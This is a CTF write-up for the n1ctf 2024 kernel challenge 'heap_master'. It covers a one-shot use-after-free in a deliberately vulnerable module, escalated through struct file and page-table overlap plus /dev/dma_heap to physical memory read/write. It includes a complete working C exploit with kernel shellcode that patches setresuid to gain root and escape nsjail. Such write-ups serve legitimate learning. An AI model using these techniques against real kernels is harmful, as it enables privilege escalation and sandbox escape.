heap_master - n1ctf 2024
heap_master was a kernel pwn challenge from n1ctf. I didn’t play the ctf, allthough the challenge seemed nice to upsolve. let’s get started
for the environment, we were given a linux 6.1.110
image as well as a config file. before
looking at the config file, the fact that we have an nsjail environment. in our case, this
means a bunch of disabled syscalls, no setuid binaries, and only few useful files in /dev
and /proc
directories. the goal is hereby not only to get root, but also escape the nsjail
to read flag.txt
. we need to take this into account when creating our exploit.
the challenge consists of a vulnerable kernel module vuln.ko
, which exposes a char device at
/dev/safenote
. the module itself is quite simple:
__int64 __fastcall safenote_ioctl(file *f, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rdx
__int64 result; // rax
u_int32_t heap_idx; // edx
_fentry__();
if ( copy_from_user(&ioc_arg, v3, 4LL) )
return -EFAULT;
if ( cmd == 0x1338 )
{
if ( ioc_arg.heap_idx <= 0xff )
{
if ( !note[ioc_arg.heap_idx] )
return 0;
kfree(note[ioc_arg.heap_idx]);
note[ioc_arg.heap_idx] = 0;
return 0;
}
return -EINVAL;
}
if ( cmd == 0x1339 )
{
if ( !backdoor_used && ioc_arg.heap_idx <= 0xff )
{
if ( !note[ioc_arg.heap_idx] )
return 0;
kfree(note[ioc_arg.heap_idx]);
result = 0;
backdoor_used = 1;
return result;
}
return -EINVAL;
}
result = -EINVAL;
if ( cmd == 0x1337 )
{
heap_idx = ioc_arg.heap_idx;
if ( ioc_arg.heap_idx <= 0xff && !note[ioc_arg.heap_idx] )
{
note[heap_idx] = (char *)kmem_cache_alloc(note_kcache, \
___GFP_ACCOUNT|___GFP_KSWAPD_RECLAIM|___GFP_DIRECT_RECLAIM|___GFP_FS|___GFP_IO);
if ( note[ioc_arg.heap_idx] )
return 0;
return -ENOMEM;
}
}
return result;
}
the basic functionality is to allocate and free heap chunks. however there is a backdoor, which lets us free a single chunk without clearing its reference, resulting in a single use-after-free. how do we continue? it’s obvious that we need to do some kind of cross-cache attack, in order to break out of the accounted kmem cache dedicated to this module.
while searching for the right objects, I found out that msg_msg
object is not easily sprayable,
plus userfaultfd and FUSE seem to be impossible. however I found pipe_buf
and the associated
struct page
is a good candidate to do some pre-spraying, since you can spray a lot of data at once.
this worked, and we can overlap our uaf chunk with user controlled data:
pwndbg> x/200gx 0xffffffffc0233420
0xffffffffc0233420: 0x0000000000000000 0x0000000000000000
0xffffffffc0233430: 0x0000000000000000 0x0000000000000000
...
0xffffffffc0233a10: 0x0000000000000000 0x0000000000000000
0xffffffffc0233a20: 0xffff9fb35767e100 0x0000000000000000
0xffffffffc0233a30: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0xffff9fb35767e100
0xffff9fb35767e100: 0x4141414141414141 0x4141414141414141
0xffff9fb35767e110: 0x4141414141414141 0x4141414141414141
0xffff9fb35767e120: 0x4141414141414141 0x4141414141414141
...
however I found it quite difficult to corrupt pipe_buf
itself, so we need a second target object.
I came to the conclusion, that spraying struct file
wouldn’t be a bad idea, since we have
sufficient permissions and it has f_ops
member, which points to a function table. we could
corrupt this pointer to get rip control, plus identify the exact struct file
which overlaps:
int fds[0x1000];
for(int i = 0; i < 0x1000; i++) {
fds[i] = open("/tmp/x", O_RDWR);
if(fds[i] < 0) {
perror("open");
exit(-1);
}
}
uaf_delete(fd, loc); // free's struct file
int fds2[0x1000];
for(int i = 0; i < 0x1000; i++)
fds2[i] = open("/bin/busybox", O_RDONLY);
unsigned long x = 0x4141414141414141;
int overlap_idx = -1;
for(int i = 0; i < 0x1000; i++) {
if(write(fds[i], &x, 8) < 0) {
perror("write");
overlap_idx = i;
break;
}
}
(we achieve this by checking if file permissions have been altered)
I could sucessfully identify the uaf’ed file
struct and even overlap with user data:
/tmp $ /exp/exp
[*] device fd: 3
[*] before uaf trigger
[*] triggered free
write: Bad file descriptor
[*] overlap idx: 1586
[*] overlapping done
[*] trigger rip
[ 4.364698] general protection fault, probably for non-canonical address 0x41414141414141b9: 0000 [#1] PREEMPT SMP PTI
[ 4.365244] CPU: 1 PID: 157 Comm: exp Tainted: G OE 6.1.110 #12
[ 4.365244] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 4.365244] RIP: 0010:filp_close+0x1e/0x70
[ 4.365244] Code: 00 48 83 c7 10 e9 a2 94 04 00 66 90 0f 1f 44 00 00 41 55 41 54 49 89 f4 55 48 8b 47 38 48 8b 77 28 48 85 c0 0f 84 7e 40 e1 00 <48> 8f
[ 4.365244] RSP: 0018:ffffaca3c0483f00 EFLAGS: 00000206
[ 4.365244] RAX: 4141414141414141 RBX: 0000000000000000 RCX: 0000000000000000
[ 4.365244] RDX: 0000000000000001 RSI: 4141414141414141 RDI: ffff910896633200
[ 4.365244] RBP: ffffaca3c0483f48 R08: ffff91089fa88000 R09: 0000000035593770
[ 4.365244] R10: 0000000000000636 R11: 0000000000000000 R12: ffff91088da9eec0
[ 4.365244] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[ 4.365244] FS: 00000000355923c0(0000) GS:ffff91089ef00000(0000) knlGS:0000000000000000
[ 4.365244] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4.365244] CR2: 0000000000712334 CR3: 000000000db0e000 CR4: 00000000003006e0
now we theoretically have rip control, but we’re missing kernel heap and text
leaks. this
was the point where I scrapped the idea of getting rip control with f_op
.
however then I found out about a blogpost from ptr-yudai. basically we are elevating our
file
uaf to a pagetable uaf to create overlapping pages. also there comes /dev/dma_heap
into play, which helps us to get a physical kernel address r/w. as soon as we achieve this,
we can just write our shellcode to a kernel function.
in my exploit, I chose setresuid
to overwrite. in our shellcode we need to get root as well
as escaping the nsjail. this worked flawlessly thanks to the inspiration from ptr-yudai.
we get the flag and win:
/tmp $ /exp/exp
[*] device fd: 3
[*] before uaf trigger
[*] triggered free
write: Bad file descriptor
[*] overlap idx: 1793
[*] overlapping done
[*] doing pte spray
[*] dma_buf_fd: 5
[*] doing pte spray done
[*] corrupt pte entry
[*] searching for overlapping page
[*] found overlapping page: 0xf2427000
[*] remapping...
[*] corrupt pte entry again
[*] dma buffer contains: 0x8000000012676867
[*] dma buffer contains: 0x800000000009c067
[*] found victim page table: 0xeea00000
[*] physical kbase: 0xb000000
[*] dma buffer contains: 0x800000000b1af067
[*] uid: 0
[*] win!
flag{1337}
[*] done
the full exploit is here:
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <linux/dma-heap.h>
#define CREATE_CHUNK 4919
#define DELETE_CHUNK 4920
#define DELETE_CHUNK_NOZERO 4921
#define MAX_IDX 0xff
void bind_cpu(int cpu) {
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(cpu, &mask);
sched_setaffinity(0, sizeof(mask), &mask);
return;
}
void unshare_setup() {
char edit[0x100];
int tmp_fd;
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
return;
}
int **spray_pipes(int cnt) { // 0x4
int **pipe_fd = malloc(cnt*8 + 1);
for (int i = 0; i < cnt; i++) {
pipe_fd[i] = malloc(0x10 + 1);
if(pipe(pipe_fd[i]) < 0) {
perror("pipe");
exit(-1);
}
}
char data[0x1000];
memset(data, 0x41, 0x1000);
for(int i = 0; i < 0x10; i++) {
*(unsigned long *)(data + i*0x100 + 0x40) = 0x000f801f00008002;
}
for (int i = 0; i < cnt; i++) {
for (int j = 0; j < 0x10; j++)
write(pipe_fd[i][1], data, 0x1000);
}
return pipe_fd;
}
void free_pipes(int **pipe_fd, int cnt) {
for (int i = 0; i < cnt; i ++) {
if (close(pipe_fd[i][0]) < 0) {
perror("close");
exit(-1);
}
if (close(pipe_fd[i][1]) < 0) {
perror("close");
exit(-1);
}
free(pipe_fd[i]);
}
free(pipe_fd);
}
int create(int fd, unsigned int idx) {
int ret = ioctl(fd, CREATE_CHUNK, (void *)&idx);
if(ret < 0) {
perror("ioctl");
exit(-1);
}
return ret;
}
int delete(int fd, unsigned int idx) {
int ret = ioctl(fd, DELETE_CHUNK, (void *)&idx);
if(ret < 0) {
perror("ioctl");
exit(-1);
}
return ret;
}
int delete_nozero(int fd, unsigned int idx) {
int ret = ioctl(fd, DELETE_CHUNK_NOZERO, (void *)&idx);
if(ret < 0) {
perror("ioctl");
exit(-1);
}
return ret;
}
int scan_mem(void *mem, unsigned long pattern, int sz) {
for(int i = 0; i < sz-7; i++) {
if(!memcmp(mem, &pattern, 0x8)) {
return i;
}
mem += 1;
}
return -1;
}
void print_arr(void *arr, unsigned int n, unsigned int size) {
for (unsigned i = 0; i < n; ++i) {
switch(size) {
case 1:
printf("%u: %hhx\n", i, *(uint8_t *)(arr + i));
break;
case 2:
printf("%u: %hx\n", i, *(uint16_t *)(arr + i*2));
break;
case 4:
printf("%u: %x\n", i, *(uint32_t *)(arr + i*4));
break;
case 8:
printf("%u: %lx\n", i, *(uint64_t *)(arr + i*8));
break;
}
}
}
int *spray_seq(int cnt) {
int *fds = calloc(cnt, sizeof(int));
for(int i = 0; i < cnt; i++) {
fds[i] = open("/proc/self/stat", O_RDONLY);
if(fds[i] < 0) {
perror("open");
exit(-1);
}
}
return fds;
}
unsigned long user_cs, user_ss, user_rsp, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
static void win() {
char buf[0x100];
int fd = open("/flag", O_RDONLY);
printf("[*] uid: %d\n", getuid());
if (fd < 0) {
perror("open");
puts("[-] lose...");
} else {
puts("[*] win!");
read(fd, buf, 0x100);
write(1, buf, 0x100);
puts("[*] done");
}
getchar();
}
int main() {
if(!fork()) {
char *const args[] = {"/bin/touch", "/tmp/x"};
execve("/bin/touch", args, NULL);
}
save_state();
bind_cpu(0);
void *page_spray[0x2000];
for (int i = 0; i < 0x2000; i++) {
page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
0x8000, PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_SHARED, -1, 0);
if (page_spray[i] == MAP_FAILED) perror("mmap");
}
int fd = open("/dev/safenote", O_RDWR);
printf("[*] device fd: %d\n", fd);
int **pipes1 = spray_pipes(0x30);
for(int i = MAX_IDX; i >= 0; i--) {
create(fd, i);
}
int **pipes2 = spray_pipes(0x30);
free_pipes(pipes2, 0x30);
int loc = 0xc0;
for(int i = 0; i < loc; i++) {
delete(fd, i);
}
delete_nozero(fd, loc);
for(int i = loc+1; i < MAX_IDX+1; i++) {
delete(fd, i);
}
free_pipes(pipes1, 0x30);
int fds[0x1000];
for(int i = 0; i < 0x1000; i++) {
fds[i] = open("/tmp/x", O_RDWR);
if(fds[i] < 0) {
perror("open");
exit(-1);
}
}
printf("[*] before uaf trigger\n");
delete(fd, loc);
printf("[*] triggered free\n");
int fds2[0x1000];
for(int i = 0; i < 0x1000; i++)
fds2[i] = open("/bin/busybox", O_RDONLY);
unsigned long x = 0x4141414141414141;
int overlap_idx = -1;
for(int i = 0; i < 0x1000; i++) {
if(write(fds[i], &x, 8) < 0) {
perror("write");
overlap_idx = i;
break;
}
}
if(overlap_idx == -1) {
printf("[-] overlapping file not found, exploit fail\n");
exit(-1);
}
printf("[*] overlap idx: %d\n", overlap_idx);
printf("[*] overlapping done\n");
for(int i = 0; i < 0x1000; i++)
close(fds2[i]);
for(int i = 0; i < 0x1000; i++) {
if(i != overlap_idx)
close(fds[i]);
}
printf("[*] doing pte spray\n");
for (int i = 0; i < 0x1000; i++)
for (int j = 0; j < 8; j++)
*(char*)(page_spray[i] + j*0x1000) = 'A' + j;
int dmafd = -1, dma_buf_fd = -1;
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;
dmafd = open("/dev/dma_heap/system", O_RDWR);
if (dmafd < 0) {
perror("open");
exit(-1);
}
if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {
perror("ioctl");
exit(-1);
}
printf("[*] dma_buf_fd: %d\n", dma_buf_fd = data.fd);
for (int i = 0x1000; i < 0x2000; i++)
for (int j = 0; j < 8; j++)
*(char*)(page_spray[i] + j*0x1000) = 'A' + j;
printf("[*] doing pte spray done\n");
printf("[*] corrupt pte entry\n");
for (int i = 0; i < 0x1000; i++)
if(dup(fds[overlap_idx]) < 0)
perror("dup");
printf("[*] searching for overlapping page\n");
void *evil = NULL;
for (int i = 0; i < 0x2000; i++) {
if (*(char*)(page_spray[i] + 7*0x1000) != 'A' + 7) {
evil = page_spray[i] + 0x7000;
printf("[*] found overlapping page: %p\n", evil);
break;
}
}
if (evil == NULL) {
printf("[-] overlapping page not found, exploit fail\n");
exit(-1);
}
printf("[*] remapping...\n");
munmap(evil, 0x1000);
void *dma = mmap(evil, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
*(char*)dma = '0';
printf("[*] corrupt pte entry again\n");
for (int i = 0; i < 0x1000; i++)
if(dup(fds[overlap_idx]) < 0)
perror("dup");
printf("[*] dma buffer contains: 0x%lx\n", *(size_t*)dma);
void *arb_buf = NULL;
*(size_t*)dma = 0x800000000009c067;
printf("[*] dma buffer contains: 0x%lx\n", *(size_t*)dma);
for (int i = 0; i < 0x2000; i++) {
if (page_spray[i] == evil) continue;
if (*(size_t*)page_spray[i] > 0xffff) {
arb_buf = page_spray[i];
printf("[*] found victim page table: %p\n", arb_buf);
}
}
size_t phys_base = ((*(size_t*)arb_buf) & ~0xfff) - 0x3a04000;
printf("[*] physical kbase: 0x%lx\n", phys_base);
*(size_t*)dma = 0x8000000000000000 + phys_base + 0x1af000 + 0x67; // setresuid
printf("[*] dma buffer contains: 0x%lx\n", *(size_t*)dma);
char shellcode[] = "\xF3\x0F\x1E\xFA\xE8\x00\x00\x00\x00\x41\x5F\x49\x81\xEF\x59\xF5\x1A\x00\x49\x8D\xBF\x00\x6B\xA7\x02\x49\x8D\x87\x70\x26\x1C\x00\xFF\xD0\xBF\x01\x00\x00\x00\x49\x8D\x87\xA0\x8F\x1B\x00\xFF\xD0\x48\x89\xC7\x49\x8D\xB7\xC0\x68\xA7\x02\x49\x8D\x87\xD0\x0A\x1C\x00\xFF\xD0\x49\x8D\xBF\x20\x53\xBB\x02\x49\x8D\x87\xF0\xC0\x45\x00\xFF\xD0\x48\x89\xC3\x48\xBF\x11\x11\x11\x11\x11\x11\x11\x11\x49\x8D\x87\xA0\x8F\x1B\x00\xFF\xD0\x48\x89\x98\x28\x08\x00\x00\x31\xC0\x48\x89\x04\x24\x48\x89\x44\x24\x08\x48\xB8\x22\x22\x22\x22\x22\x22\x22\x22\x48\x89\x44\x24\x10\x48\xB8\x33\x33\x33\x33\x33\x33\x33\x33\x48\x89\x44\x24\x18\x48\xB8\x44\x44\x44\x44\x44\x44\x44\x44\x48\x89\x44\x24\x20\x48\xB8\x55\x55\x55\x55\x55\x55\x55\x55\x48\x89\x44\x24\x28\x48\xB8\x66\x66\x66\x66\x66\x66\x66\x66\x48\x89\x44\x24\x30\x49\x8D\x87\xC6\x11\x40\x01\xFF\xE0\xCC";
void *p;
p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
*(size_t*)p = getpid();
p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
*(size_t*)p = (size_t)&win;
p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
*(size_t*)p = user_cs;
p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
*(size_t*)p = user_rflags;
p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
*(size_t*)p = user_rsp;
p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
*(size_t*)p = user_ss;
memcpy(arb_buf+0x550, shellcode, sizeof(shellcode));
setresuid(1000, 1000, 1000);
return 0;
}